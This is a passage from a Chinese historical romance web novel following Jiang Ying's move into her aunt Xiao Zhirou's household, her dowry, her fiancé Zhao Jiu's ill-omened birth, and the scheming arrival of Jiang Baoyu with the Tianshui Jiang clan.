“姑娘。”香薷在门外轻声提醒,“时辰不早了。”
“好。”姜璎应道,又仰头亲了亲赵咎的脸颊,“我保证,只喜欢赵九郎君一个。”
“我没有名字的吗?”赵咎恃宠而骄,语气略微不满。
“我保证,只喜欢赵咎一个。”姜璎从善如流改口。
看着他嘴角不自觉扬起,她的心也忍不住跟着一起欢喜。
这应该就是喜欢。
不会有错。
姜璎十分肯定。
赵咎低头,轻轻吻她,“我也只喜欢阿池一个,永生永世,绝不变心。”
此刻的心跳远比蝉鸣还要喧嚣。
情丝如蛛网,将两人紧密缠连。
一直到上了牛车,姜璎才后知后觉。
又被赵咎倒打一耙!
明明他才是那个甜言蜜语的人啊!
赵家和陆家距离不远,牛车一个时辰就到了。
梁女君早早派人候在门口,一见姜璎下车,立马迎了上来。
“是小主人吗?”向氏柔声道,目光落在姜璎脸上,不禁怔然一瞬。
方才的询问已然成了一句废话,这天底下,除了贵主的孩子,又有谁会同陛下这样相似!
“您……”
“小主人叫我阿向就好。”向氏连忙道,她满眼慈爱地看着姜璎,边领她往内院的方向走,边解释,“老奴曾是大娘子的乳母,大娘子成亲以后,便让我过来服侍二娘子。”
向氏看上去四十出头,穿着松柏绿的深衣,头发低低盘起,用头油梳得一丝不乱。
她们这些老人,更习惯称呼主子为“娘子”。
大娘子便是姜璎的母亲,二娘子则是梁女君。
梁女君已经等候多时。
她生怕姜璎舍不得卫国公府的人,从回来到现在,一直坐立不安。
直到外头出现姜璎的身影。
“姨母。”
“阿池!”梁女君松了口气,脸上扬起心满意足的笑容,她紧紧拉着姜璎的手,不让她行礼问安,“姨母盼星星盼月亮,可算是把你盼来了。”
姜璎有些不好意思,“让姨母久等了。”
“不说这些。”梁女君笑道,“过来看看,姨母给你准备的院子。”
竟然是独立的院子?
姜璎有些意外,“会不会太浪费了?姨母,我不用住这么大的地方……”
话未说完就被梁女君打断。
“这算什么大?你安心住着,一切都有姨母呢。”梁女君望着姜璎的目光满是怜爱。
向氏也颇为心疼。
大娘子和二娘子小时候玩闹的偏殿,都要比这处院子大得多,小主人真是受苦了。
姜璎环视一圈住处,不得不说,梁女君的审美十分在线。
她们沿着鹅卵石小路一路走来,入目便是一片青竹,边上还错落有致地栽种了各式各样的花草树木。屋檐廊角的木雕,线条流畅,图案鲜活,雕工精美,无一不展现工匠的手艺。
一眼望去,粉墙黛瓦,幽静而美丽。
姜璎想,这样的院子,起码得布置两个月以上吧?
所以梁女君是从与她相认之后,就开始准备了吗?
“姨母……”
“阿池喜欢吗?”梁女君满是期待地看着姜璎。
“喜欢。”姜璎重重点头,心里说不出的感动,“让姨母为我费心了。”
梁女君摸了摸她的脑袋,“这算什么费心?要是你大父还在……”
听到“大父”两个字,姜璎暗暗叹气,只能岔开话题,“姨母,我初来乍到,可要向府里长辈问安?”
梁女君微微一笑,“陆家的长辈都在吴郡那边,你放宽心住下,不必拘束。有姨母在的地方,就是你的家。”
陆宅的正经主子只有陆宣夫妻二人,这也是为什么梁女君能如此随心所欲的原因。
要是换在吴郡老宅,长辈妯娌一堆,便是贵为公主,也免不了同她们打交道。
姜璎点了点头,表示自己记下了。
她不知道,就在刚刚,十几辆牛车缓缓入京,天水姜氏的族徽分外显目,浩浩荡荡的阵势,令人退避三舍。
苍白的手轻轻掀起帘子,望了一眼窗外。
姜宝瑜冷冷一笑。
想让她老死乡下?
做梦!
第104章 谎言
姜宝瑜轻轻抚着面颊,几月过去,上面的伤口已经彻底愈合掉痂,只留下一条宛若蜈蚣的肉粉色伤疤。
它微微凸起,略显坚硬,蜿蜒而匍匐面颊,无论用了多少的药,也抚平不了半分,如此丑陋恶心的东西,不仅时不时发痒,每到阴雨天还会隐隐刺痛!
姜宝瑜从始至终都不觉得自己有哪里做错。
凭什么她在外头受尽一切苦楚,而姜璎什么都不用做就能享受属于她的一切?
不过就是个鸠占鹊巢的**,怎么有脸装出一副委曲求全、逆来顺受的模样?她也配同她姐妹相称?享用永安侯府的富贵?!
“姜、璎。”姜宝瑜心中默念,眼里流露出浓浓的怨毒,抢走她的爹娘兄长还不够,还毁了她的名声容貌。
等着吧,迟早有一日,她会把自己所受过的羞辱伤害,百倍千倍偿还回去!
谁让这一切都是姜璎欠她的呢?
“姑娘。”浮叶唤了一声,感觉到牛车慢慢停下,她连忙帮姜宝瑜把面纱戴起来。
姑娘伤口未愈就被赶去秦州乡下,一路不知道吃了多少的苦!好在老天有眼,得本家嫡系收留,终于摆脱了那些监视她们的人,这才顺利回到盛京。
浮叶搀扶姜宝瑜下车,主仆二人往最前头的那辆牛车走去,静候一旁。
车舆里先下来四个仆婢,而后恭恭敬敬侍立一旁。
“姑娘,已经到了。”
总算是到了!里头传出一声低哼,就算是再舒服的牛车,也受不了连着十多日的赶路!
家仆弯腰跪地,仆婢将一块柔软的羊毛毯盖在他背上,以免主子脚感不适。
从他的跟前,一直到进屋,地上铺起了华丽昂贵的地衣。路边的人不禁咂舌,这样的地衣,就是寻常人家拿来铺炕当床垫都舍不得,她们竟然就这样大喇喇地铺在地上!
不多时,车舆里终于懒洋洋地伸出一只莹白小手。
仆婢忙上前搀扶。
很快,一个身穿海棠红短襦配石榴裙的少女走了出来。
鲜艳夺目的石榴裙,随着脚步轻移在半空留下浅浅的弧度,如池面漾开的一圈圈波纹。
“姑娘小心脚下。”婢女柔声道。
姜珞冷哼一声,踩着家仆的背,如履平地,木屐无声,对比方才姜宝瑜走来的“踏踏”声,可以说是一个天上,一个地下。
羃篱遮住了半个身子,但并不妨碍她将周围的人和景物收入眼底。
管家早早来盛京置办好的宅院,说是好好修整了半个月,但在姜珞看来也不过就是个短暂落脚地,四进四出,别说赛马场了,就是亭台楼阁都少得可怜!哪里比得上天水老宅?
姜珞扫了一眼,便嫌弃地收回目光。
算了,先将就住吧。
她偏头看向姜宝瑜主仆二人,似乎这会儿才想起她们的存在,“瑜姐姐,你同我一起住这儿,还是让人送你回永安侯府?”
提到永安侯府,姜宝瑜眼神晦暗一瞬,很快又调整好情绪,轻声道:“阿爹阿娘怕是不愿意看见我……”
“那就住这吧。”姜珞漫不经心道,对永安侯的态度很是轻蔑,“颍川赵氏就这么让人闻风丧胆?连自己的亲生女儿都能舍弃,真是可笑。”
这些时日,姜宝瑜已经差不多摸透姜珞的脾气,作为天水姜氏唯一的嫡女,即便母亲只是侍妾扶正,她也依旧是众星捧月般的存在。
这样的高门贵女,虽说傲慢,但却十分好糊弄。
姜宝瑜跟在姜珞身边,低声道:“其实也不怪阿爹,毕竟我们家只是天水姜氏的旁系……”
姜珞安慰道:“放心吧,我阿父很快就到盛京了。”到时候给永安侯安排个差事,省的这么被人瞧不起。
颍川赵氏——
她想到姨娘说的话,眼底一闪而过阴霾。
姜珞的母亲原本是嫡母身边的贴身仆婢,是以即便得以扶正做了继室,她也依旧让姜珞私下里称呼她为“姨娘”。
舟车劳顿许久,姜珞已然累的不行,吩咐底下人照顾好姜宝瑜,便回了自己的院子,让人烧了水,一番沐浴更衣后,才松散
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躺在炕上。
“姑娘,您晚上想吃什么?还是馎饦吗?”婢女白芨柔声询问。
“馎饦吧。”
姜珞掩唇打了个哈欠,神情恹恹,“白芨,你说姨母会喜欢我吗?还有……”
“姑娘!”白芨急忙制止,见姜珞撇嘴,心中不由生出几分怜惜,柔声哄道,“来之前,女君千叮咛万嘱咐,见了梁女君,可不能称呼‘姨母’二字,姑娘千万不能忘了。”
要不然,依梁女君的脾气,说不定直接就让人掌掴姜珞了。
姜珞耷拉着眉眼,她只在幼年的时候见过几次梁女君,那个时候梁女君还未出嫁,每次见她,都是厌恶的眼神。
这让姜珞印象十分深刻。
白芨柔声道:“姑娘,女君也是为了你好。”
“我知道。”姜珞还是有点委屈,“我私下里偷偷叫也不行吗?”
白芨暗叹一声,“私下里可以,只是姑娘一定要记住了……”
姜珞皱了皱眉,“知道了!”
她又不是傻子,等见了梁女君,肯定会毕恭毕敬的呀!
馎饦煮好了送来,姜珞吃了几口,忽然没了胃口。
她生的明艳动人,尤其一双猫眼灵动无比,然而此刻眼中却失去大半光彩,平日里嚣张傲慢的劲儿也消失的一干二净。
她讨厌盛京!
本来以为能早点见到姐姐,可现实是她连梁女君那关都过不去,梁女君肯定不会让她见姐姐的!
姜珞把枕头狠狠摔在地上。
她吃不下,也睡不着,一腔怒火根本无处发泄,就让人把姜宝瑜叫过来。
“你那个养妹已经嫁到赵家了吗?”
姜宝瑜愣了一下,随即道:“我离开盛京也有一段时日,不知道他们成亲没有。”
姜珞爱姐姐胜过自己,根本无法想象这世界上还有人能厚颜无耻到这种地步!鸠占鹊巢已经够过分了,她还攀高枝,陷害养姐?简直罪无可恕!
“你放心,我会帮你好好教训她的!”姜珞冷冷道,总算给怒火找了个发泄口。
第105章 产业
“真的吗?”姜宝瑜闻言露出感激的神情,又担忧道,“只是这样的话,会不会给你带来麻烦?”
“能有什么麻烦?”姜珞不以为然。
自前梁起,朝廷选拔官员便一直都是举荐制度,阿父的家世才能德行无一不顶尖,明惠帝没有理由不重用。
更何况,他们姜氏族上系齐太公吕尚,后人定居天水,以天水为郡望,乃是世代簪缨的名门望族,向来人才辈出、底蕴深厚。
太祖手段狠辣,却也不敢挑战整个门阀士族势力。
当然,汝南袁氏是个例外。他们乃前梁后族,关系紧密,不肯降服,处处与太祖作对,才落得那样下场。
姜珞又不**放火,只是想小小教训一下姜宝瑜那“心思深沉、忘恩负义”的养妹。
一个连自己的姐姐都能陷害排挤的人,肯定不是好东西!
姜珞要替天行道!
这样的话,以后姐姐知道了,说不定还会表扬她!姜珞美滋滋地想。
说起来,姜宝瑜还和姐姐有几分相似呢。
天水老宅里保存了不少姐姐幼年时期的画像,都是父亲一笔一笔亲自所作,姜珞偷拿了一副,所以打见姜宝瑜的第一眼,她就觉得这人的眉眼分外熟悉。
后面得知姜宝瑜也在幼年时候走丢过,姜珞都惊呆了。
这不是缘分是什么?
于是乎,姜宝瑜说起家里事情的时候,姜珞特别情真意切地为她打抱不平。
永安侯府真是可笑!女儿走丢了,做的第一件事竟然是认养女。他们难道就不想自己亲生女儿在外头过的什么日子吗?
好不容易找回女儿,不把养女送走也就罢了,还让她各种陷害欺负亲生女儿!
“瑜姐姐,你放心吧,我会让阿父为你做主的。”
姜宝瑜笑盈盈看着姜珞,嘴上感谢,心里想的却是:她得尽快找到机会,借姜珞的手除掉姜璎,要不然耽搁下去,姜珞起了疑心,派人一查,就会发现她十句话里有九句是谎言。
想到这,姜宝瑜不由怨怪命运不公。
她恨自己出身普通,母亲无能,父亲虚荣。
为什么连姜珞这个出身**、惺惺作态的婢生女,都能翻身成为天水姜氏的嫡女,而她却得不到老天爷的眷顾?
难道她还不如蠢货吗?
时辰不早了,姜宝瑜起身告辞,又道了一遍谢。
回房的路上她细细思索如何利用姜珞。
姜宝瑜不知道姜珞来盛京的目的,她不是没有旁敲侧击问过,但姜珞在这方面嘴巴很严,可谓是守口如瓶,左右姜宝瑜只想借刀**,问不出结果也就没再深究。
“姑娘。”浮叶低声道,“奴婢特意去外头打听了一下,那姜璎,竟然是梁女君的嫡亲外甥女!”
“什么?!”
姜宝瑜被匆忙送往乡下时,梁女君还未和姜璎相认,是以她们并不知道盛京的情况。
乍闻惊讯,姜宝瑜脸色十分难看。
浮叶忿忿道:“也不知道她走的什么狗屎运,九月成亲,现在已经被梁女君接回陆家待嫁了。”
待嫁?
姜宝瑜嘴角浮现冷笑,她不会让她顺利出嫁的!
*
“阿嘁!阿嘁!”
姜璎一连打了好几个喷嚏,她揉了揉鼻子,没有当回事。
倒是梁女君紧张得不行,“是不是着凉了?阿向,一会儿请府医过来给阿池看看。”
“不用了姨母。”姜璎好歹也精通药理,得没得风寒自己心里有数,生怕梁女君为了这点小事兴师动众,她忙道,“您过来是有什么要紧事儿吗?”
天已经彻底黑了。
梁女君听下人说姜璎小憩刚醒,便过来看看。
向氏手里提着一个食盒,满脸慈爱道:“小主人还没用饭呢,二娘子不放心,让厨房做了几道小菜,还有鲫鱼汤,小主人尝尝。”
鲫鱼汤。
姜璎抿了抿嘴,道:“劳姨母费心了。”
“一家人还客套什么?”梁女君嗔怪道,向氏打开食盒,要给姜璎布菜舀汤。
“我自己来吧。”姜璎连忙道,向氏是照顾母亲的老人,也算半个长辈,“阿媪可以叫我小名。”
向氏想也不想道:“那可不行。”主就是主,奴就是奴,向氏再怎么服侍主子,也不会忘记自己的本分,不过见姜璎略有些不自在,她还是改口
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道,“姑娘。”
梁女君看着姜璎的目光多有怜惜,哪家贵女不是锦衣玉食、仆婢成群?偏偏姜家弄丢了阿池!害她被人当作奴仆一样对待,吃了这么多年的苦!
等姜璎用完晚食,梁女君柔声道:“你也长大了,从今日起,姨母教你怎么算账管家,这样不管你日后嫁到哪家,都不会吃亏的。”
姜璎眨了下眼,露出一个不好意思的笑容,“这些世子夫人和赵咎都有教过我,不过我学的慢,姨母不要嫌弃我。”
梁女君没想到王氏还会教姜璎这些,心里哼了一声,对他们的厌恶倒是少了一点。
“傻孩子,姨母怎么会嫌弃你?”梁女君含笑道,“阿向,把嫁妆单子拿过来。”
向氏取来几张薄纸。
看着不多,但实际上面的每一样东西都是稀世珍宝!
商周时期的青铜器,秦汉流传的美玉这些就不提了,还有前朝留下的一些古玩珍品,字画书籍,这些随便拿一件去外面,都足以让万千士子狂热!
“姨母嫁妆,还有你母亲的嫁妆,都是你大父生前早早就备好的,虽然后面出事儿损失了一小部分,但好在余下都保存还不错。”
“这样的嫁妆单子,我已经给卫国公府送去一份。”梁女君柔声道,“毕竟不是皇帝嫁女,咱们稍微低调一些,余下的姨母到时候补给你。”
姜璎呆呆地看着嫁妆单子,结巴了一下:“姨母,你管这叫低调?”
“这还不低调吗?”梁女君反问道,她还没有算上现钱和金银。
就算是金山银山,也迟早有用光的一天。
但梁女君给姜璎置办的产业,可是大片的良田,还有湖泊山林,田契地契足足厚厚一沓,比起金银,这才是取之不尽、用之不竭的财产!
至于商铺房产,在梁女君看来都是些不值钱的东西,就当女孩儿家的脂粉钱吧,闲着没事儿可以算算账,打发打发时间。
看着姜璎震惊的模样,梁女君万分怜惜。
要是阿父在世,阿池怎么也不至于这点嫁妆,少说都有封地和汤沐邑!
“女君。”外头仆婢禀报,似乎有什么要事。
第106章 不详
能在梁女君身边伺候的,都是知根知底的家生子,她们知道梁女君这些年一直寻找姜璎,若非十分重要的事情,是断然不会在此刻打扰。
梁女君神色未变,对姜璎柔声道:“你先自个儿看看,姨母去去就回。”
她走到外间,仆婢低声汇报方才得到的消息。
“等等,你说谁来了?”梁女君微微眯眼,不是姜昀,也不是那贱婢,而是他们两个的孽种?“就她一个人?”
“还有姜宝瑜。”
“哦?”梁女君饶有兴味,看来真是低估她了,在那等境地都能搭上天水姜氏的关系,“派个人去永安侯府,就说他们的宝贝女儿回来了。”
“那姜二姑娘那边?”仆婢征求主子的意见。
姜珞自从听说梁女君找回姐姐,便在求得父亲同意后,立马赶往盛京。她确信姐姐一定是在陆家,所以要见姐姐,就肯定得过梁女君这一关。
拜帖字迹端正,是姜珞亲自所写,言语之间谨慎又恭敬,甚至还能看出几分畏惧。
梁女君只瞥了一眼,便溢出冷笑,让人拿去烧了。
“什么不干不净的东西都拿到我面前,也不嫌晦气。”她眼中一闪而过厌恶,真以为记在阿姊名下,就是正儿八经的嫡出?和她那不要脸的贱婢母亲真是一模一样,毫无自知之明!
“赶紧打发了,别让阿池知道。”
“是。”
梁女君挽起笑容,重新回到内室。
姜璎已经粗略地看了一遍嫁妆单子,心里不由感慨,难怪姨母老是对家里遭难而耿耿于怀。家道中落都还有如此丰厚产业,若是一切安好,那她成亲的排场估计真要赶上皇帝嫁女了。
“姨母,你给我准备的也太多了。”
“你这傻孩子,哪有人嫌嫁妆多的?”梁女君嗔道,柳叶眉微微蹙起,“赵咎毕竟只是嫡幼子,既不能继承爵位家产,又未入仕为官,你若是同他成亲,日后分家,少不了吃苦头。”
温声细语中,隐隐含着担忧。
梁女君就像是一个真心替赵咎打算的慈和长辈,叹气道:“阿池,你可知姨母为何反对你嫁给赵咎?一来,咱们家同赵家有些许嫌隙……”
“什么嫌隙?”姜璎追问道,其实她早就想问了,只是之前一直没有找到合适的机会。
姜璎不是傻子,从梁女君先前的态度来看,两家之间的关系,可并不像她口中所说“些许嫌隙”这么简单。
梁女君脸上笑容有些勉强,“陈年旧事罢了。”一副不愿意多提的模样,“姨母只是想告诉你,赵咎虽为幼子,但自小不得卫国公喜爱。”
姜璎面色如常,“这个我知道。”她还亲眼目睹卫国公疾言厉色地怒斥赵咎呢。
梁女君摇了摇头,“你不知道。”
卫国公对幼子,可不仅仅只是普通的不喜,而是一种极其深刻的憎恶!
当时卫国公夫人老蚌生珠,就已经有太医提醒,若生下此胎,难免身体亏损、元气大伤。但打胎的话,对卫国公夫人来说同样伤害很大。
夫妻俩权衡利弊,最终决定还是生下这个孩子。
后面果然如太医所言,卫国公夫人几近难产,险些虚弱而死。那个时候,卫国公就已经视赵咎如孽障,多看一眼都厌烦。
“卫国公夫人的身体一直断断续续不好,到赵咎三岁,便再也撑不住去了。”梁女君嘴上惋惜,但眼底却含着讽意,“下葬那日,卫国公闻子哀泣,怒从心起,一脚将幼子踹出去老远,直言此为祸害,当下去陪伴母亲才是!”
“荒谬!”
惊怒声响起。
梁女君怔怔地看着外甥女,只见她面色冰冷,如覆寒霜,手中的嫁妆单子几乎已经揉成一团。
有那么一瞬间,她竟然在姜璎的身上看见了父亲的影子……
梁帝生性温和,面若冠玉,轻易不与人动怒,唯独在爱妻和爱女身上分外小心眼。
梁女君,不,应该说萧止柔,她小名阿薇,因为被王老夫人收养而改姓梁。萧止柔记得,幼年时候曾有朝臣
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上谏,觉得父亲不该专宠皇后一人,父亲那么好脾气的一个人,听到这话直接冷了脸,直接怒声呵斥,事后还找了个由头,将人贬官出京。
姜璎冷冷道:“迁怒本就无理!降临人世乃父母决定,又非孩童可以选择!他如此对待自己的亲生骨肉,难道就不怕卫国公夫人死不瞑目?”
萧止柔回过神来,无奈道:“阿池……”她没想到外甥女会发这么大的火,一时间竟心有余悸。
“姨母,难道你也觉得,卫国公夫人之死,是赵咎的错吗?”姜璎认真道,“我同他又有什么区别?阿娘也是因为生下我才会病故……”
“不是的!”萧止柔急声打断,阿姊同父亲一样,自幼体弱多病,又一连夭折了两个男孩儿,备受打击,这才每况愈下。
阿池是他们家的珍宝,掌中明珠,怎么能和赵咎相提并论呢?
“卫国公厌恶赵咎的根本原因,是因为他乃恶月恶日出生!”
五月五日端午,向来被视为恶月恶日。曾有记载“五月五日生子,男害父,女害母。”
时下的人最是迷信这些,更何况,自打赵咎一出生,卫国公夫人便虚弱至极,卫国公更是认定幼子不详。
咎者,罪也!
亦有责备、惩罚、不吉的意思。
卫国公给儿子取名为咎,含义可见一斑!
“如果我没记错的话,赵咎小名阿劫吧?”萧止柔道,“你难道还看不出来吗?卫国公视幼子的出生为劫难,你若嫁给他,日后……”
“没有日后。”姜璎难得语气强硬。
“我年幼丧母,流落在外,被当作瘦马培养长大,赵咎都不曾嫌弃我半分,同样,我闻他遭遇不公,除了心痛难忍,便只有怜惜万分!”
“我知道姨母说这些是为我着想,但我不想再听见诸如此类的话。赵咎不是鬼子,更无不详!他出身高门,精通君子六艺,品貌出众、如玉无暇!”
姜璎一口气说完,神情坚定道:“他就是很好很好!”
第107章 推断
直白的话语痛击心窝,萧止柔怔怔地看着面前的少女。
她始终不明白,赵咎到底好在哪里?值得姜璎这样坚定不移地维护他。
是因为所谓的恩情,还是他仗着姜璎少不经事,用花言巧语哄骗了她?
就像当年,卫国公欺骗阿父那样!
萧止柔慢慢收拢五指,精心修剪的长指甲深深陷进掌心,在姜璎所看不见的角度,眼底渗出浓浓的怨毒。
久违的恨意席卷而来,涌上心头。
高家和赵家,害了阿父阿母不够,现在还想要蒙蔽他们萧家唯一的骨血!
她是绝对不会放过——
“姨母。”姜璎轻声问,“我们家,和赵家真的只有一点嫌隙吗?”
萧止柔抬手,覆上姜璎的面颊。
“阿池……”她半敛着眼眸望着面前心爱的孩子,似怀念、似沉吟,眼神恍惚而哀戚,不经意流露出的脆弱更是让人心惊。
“姨母,怎么了?”
略显圆润的凤眼,几乎同她大父一模一样。
看着软弱好欺,但只要是认定的事情,便死不回头。
姜璎眼里的澄澈担忧令萧止柔的心情稍稍好转,她轻抚姜璎的眉眼,呢喃道:“再给姨母一点时间……”
姜璎不解其意,但为了安抚萧止柔,还是点了点头,没有再继续说下去。
她明白姨母的爱护之心,身为长辈,难免担心孩子被人哄骗**,可赵咎不是那样的人。
姜璎相信,迟早有一天,姨母会改变自己的看法。
时间能证明一切。
送走萧止柔后,姜璎又坐了一会儿,让人取来笔墨纸砚。向氏看见,柔声道:“姑娘,时辰不早了,还是早些歇息吧。”
她被萧止柔留下照顾姜璎,自然处处关心。
香薷抿嘴笑道:“向媪,姑娘习惯了睡前看一会儿书,这一时半会,恐怕改不掉呢。”
向氏没想到姜璎如此用功,遂不再劝阻,笑眯眯道:“大娘子小时候也是书不离手,果真是女肖母。”
母亲。
姜璎在心中轻喃,如果母亲在世,她会像姨母一样阻止她嫁给赵咎吗?
可惜斯人已逝,答案无从得知。
姜璎不经意地将书签夹在书里,随后合上,香薷接了过去,妥善保管。香附则端着铜盆,服侍姜璎净面更衣。
夜凉如水,就这样度过了平静的一夜。
翌日一早,姜璎陪同萧止柔一起用了朝食,又说了会子话,才回房做自己的事情。
香薷走进来,在姜璎身边低声耳语:“姑娘,九郎派人传话,姜宝瑜昨日已随天水姜氏的人一同入京。”
昨日?
姜璎眸光微微一闪,这么快。
她正犹豫要不要告诉萧止柔,香薷看了一眼外头,低声道:“梁女君昨夜就知道了,听说,天水姜氏的人还送上拜帖,但被梁女君一口回绝。”
天水姜。
这个家族于姜璎而言并不陌生。
毕竟永安侯一支便出自天水姜氏,虽是旁系,但他最引以为傲的就是自己的姓氏。姜璎曾多次听永安侯感慨,若他能出身嫡系,何至于汲汲营营,如此辛苦!
就像姜昀,哪怕他十多年未曾踏足官场,可光凭一个姜家家主的名头,便足以获得明惠帝的青睐,任他为秦州太守。
而永安侯?他除了虚爵外,就只有一个户部的小小官职,就这样还被陆宣想办法给弄了。如此轻而易举,说到底还不是永安侯府根基薄弱?
姜璎陷入深思。
在正事上头,赵咎一贯不喜废话连篇,所以,他提天水姜氏的人,肯定有他的用意。
“你方才说,姨母回绝了姜家人的拜访?”
“是。”
姜璎放下书,面色凝重,半晌没说话。
萧止柔是出了名的和善,不管对谁都是客气相待,不失礼数,这些年赈灾施粥,接济寒门,更是不曾断过。
无缘无故,她怎么会拒绝姜家人的拜访?
除非,她同姜家有龃龉。
不,不对。
若是有龃龉,天水姜氏的人又怎么会在抵达盛京的当日,就给萧止柔送上拜帖?
除非……
一个不可思议的猜测从脑海冒出。
姜璎看了香薷一眼,后者俯身倾听,“姑娘只管吩咐。”
香薷做事仔细谨慎,让她去打探消息再合适不过。
她退下后,姜璎揉了揉眉心,总不可能这么巧吧?但细细想来,又说不出的古怪。
姨母认下她后,只一个劲地阻止她住在卫国公府,反倒对她改姓一事只字不提。
不说按常理推断,就是光看萧止柔对刘氏等人的鄙夷,也能明白她对永安侯府的厌恶。
可姨母从始至终,都没有要求她改姓!
怀疑的种子一旦种下,便不受控制。
午间用过膳后,姜璎似不经意地提起这个事情,“我记得姨母之前说过,我生父宠妾灭妻
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,实非好人。如今,我又与永安侯府断绝关系,若还顶着姜姓,也说不过去。”
萧止柔愣了愣,“阿池,你的意思是……”
姜璎认真道:“母亲早亡,我在这世上便只剩下姨母一个至亲,我想改姓,随母亲和姨母的姓氏,就叫梁璎好……”
“不行!”
话未说完,就被萧止柔打断。
姜璎露出了迷茫不解的神色,似乎被吓到了,没有吭声。
萧止柔心中懊恼,柔声道:“阿池,不是你想的那样……你知道我们家之前遭过难,姨母原先是不姓梁的。”
“那阿娘呢?阿娘也改过姓吗?”
“我……”萧止柔迟疑道,萧这个姓氏并不常见,更何况,但凡提起,大家的第一反应都是兰陵萧氏,前朝皇族。
姜璎抿了抿嘴,难得露出一丝小女儿家的任性,“可是我不想姓姜,我宁愿随生父的姓,也不想和永安侯府有半点关联!”
这让萧止柔哑口无言。
她总不能说,你是天水姜氏的人,你本来也就该姓姜。
不、不能说!
萧止柔连忙道:“阿池,你可以随你大母的姓,你大母出身汝南袁氏……”
是了。
萧止柔说过,她的嫡亲外祖母,是汝南袁氏嫡长女。
而在当年,和袁氏一同遭难的高门少之又少,联合改姓,姊妹分离,两家收养……
一切的一切串联起来,便有了新的答案。
梁史记载:永乐七年十二月,帝崩于建安宫,皇后袁氏殉,谥号为文。
随着前梁的覆灭,第一高门汝南袁氏也渐渐退出权力中枢。
所以,她大父家里还真有皇位要继承……
姜璎闭了闭眼,深刻怀疑,赵咎早就已经察觉出她的身世!
难怪他当初在她面前翻看梁史!
“哐拉——”茶盏倾倒于食案,幸好茶水已尽。
姜璎霍然起身,很任性地说:“可是别人又不知道大母出身汝南袁氏,若是问起,难道我要据实相告吗?我以后还是叫梁璎好了。”
说罢扭头就走。
“阿池!”萧止柔急急拉住她的手。
就在这时,外头仆婢进来禀报。
“女君,太后娘娘有旨,八日后京郊园林,为姜昀赴任秦州太守,邀大家一同赛马射箭,女眷可一同前往观看。”
“……”
萧止柔深吸一口气,现在带阿池离开盛京还来得及吗?
第108章 猪头
来不及了。
口谕已下,六品官员以上及其家眷,不日后便要前往京郊马场。
明惠帝如此看重姜昀,便是怀着拉拢以天水姜氏为首的那一方士族的目的,为此他亲自设宴款待,宛如昭告天下一般表达自己的亲近。
萧止柔隐隐察觉这是一个针对她的阳谋,她的身世在上姓士族之中并非秘密,尤其是亲近的那几家,都知道她同阿姊两人,一个嫁到吴郡陆氏,一个嫁到天水姜氏。
“姨母。”姜璎神情略微复杂,垂眸道,“我就不去凑这个热闹了。”
她是待嫁之人,哪有快要成亲了还跑出去玩的道理?还是留在家里安心备嫁吧。
“阿池……”萧止柔欲言又止,她是不愿意让姜昀见到姜璎,但就眼下来看,一味的阻扰并没有任何用处。
罢了。
该来的终究还是会来。
萧止柔扯出一抹微笑,“还是去吧,陪陪姨母,你也趁着未出阁多玩玩。等日后成亲了,就没有这样无拘无束的日子了。”
姜璎沉默片刻,最终轻轻点了下头。
她想找个机会和赵咎私下里见一面,问清楚一些事情。
定下出行的日子后,萧止柔便让家里的绣娘停下手里头其他活,只专门给姜璎一人赶制衣裳。
曲裾深衣襦裙各准备了两套,一共六套。衣裳有了,首饰自然也不能少,为此家中的工匠忙活不停,萧止柔又是个眼光极高的人,但凡有一点瑕疵便要重新做过。
好在姜璎阻止,衣裳倒也罢了,但首饰大可不必如此铺张浪费。
一番劝说,萧止柔这才被劝得打消了念头。
一直到出门当日。
近身服侍的仆婢轮值守夜,眼看更漏将将寅时,香薷轻轻掀开一角床帘,柔声道:“姑娘,该起了。”
“嗯……”被衾下动了动,露出一颗圆圆的脑袋。
向氏听到动静,连忙走过来,手里端着碗温热的蜂糖水。
“姑娘,先喝口水润润嗓子。”向氏满脸爱护地看着姜璎,见她揉着眼睛坐了起来,哄道,“等上了牛车,姑娘就在车上睡一会儿吧。”
姜璎睡了一夜,正口渴呢,就着向氏的手喝了大半碗蜂糖水,才算是慢慢清醒过来。
仆婢鱼贯而入,以香薷香附为首几人,伺候姜璎洗漱。
向氏将已经熏好的衣服拿进来,淡青色的曲裾,素净却不失清雅,衣领、袖口处用素锦缘边,衣裙下摆则绣了一支梅花。
姜璎换上衣服,身上只佩戴一块和田桃花玉,向氏觉得太过素净,又从首饰匣中取了一串圆润莹白的珍珠手串,哄着姑娘戴上。
稍稍填了肚子后,刚好寅时过半,姜璎走出院子,去给姨母请安。
陆宣和萧止柔刚结束进食。
牛车去往京郊,起码也要两个时辰起步,若是路上拥堵,还要再耽搁些时间。其他人家估计这会儿也差不多要出发了。
萧止柔拉着姜璎的手上了牛车。
自先汉以后,诸侯势寡力弱,马匹受到管控,大家伙便开始**以为常乘坐牛车。
萧止柔是不会委屈自己的人,牛车自然也打造得宽敞而舒适,内外两间,足足可容下十多人。
萧止柔心疼外甥女起了个大早,将她搂在怀里,“阿池乖,再睡一会儿,等到了姨母叫你。”
姜璎原以为姨父姨母一辆车,她自己单独一辆车,这样一来怎么睡都可以,没想到萧止柔不放心她一个人。
当着长辈的面,姜璎不好太过失礼,面颊微红道:“我、我不困。”
陆宣笑了一声,被萧止柔瞪了一眼,他立马闭嘴,识时务起身,“我去外间喝茶。”
哎,这得亏没有孩子。
要不然,他在这个家还有什么地位可言?
陆大人一边品茶,一边摇头叹息。
他这辈子最庆幸的就是没有生出讨债鬼,别人担忧子嗣不丰,陆宣只觉无子一身轻。
他和阿薇两个人二人世界不要太开心好吗?
要什么孩子!
牛车慢悠悠前往京郊,在他们身后不远处,天水姜氏的牛车紧紧跟随。
姜珞像霜打的白菜耷拉着脑袋,蔫蔫道:“白芨,我是不是太没用了?这么些日子,一点进展都没有……”
“怎么会?”白芨柔声道,“姑娘别放心上,一会儿肯定有机会的。”
姜珞瘪了瘪嘴。
整整十日。
她连陆家的门槛都没摸到!更不要说拜见萧止柔了!
姜珞好想不管不顾地嚎啕大哭一场,要是死皮赖脸有用的话,她一定在陆家门口打滚!
不见到姐姐,她就不走!
但
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是……
奶娘说,她要是敢这么做,萧止柔肯定会让人把她扇成猪头。
想到这,姜珞瑟缩了一下脖子。
她不想变成猪头。
姐姐肯定不会喜欢一个猪头的。
姜宝瑜坐在一旁,脸上戴着面纱,只露出一双楚楚动人的眼眸。
她不知道姜珞这些天都在忙些什么,又不好直接开口要求她对姜璎下手。
直到现在,她还以为姜璎仍在卫国公府。
姜珞当然也不会和她说姐姐的事情,她们的关系没有好到这种地步。
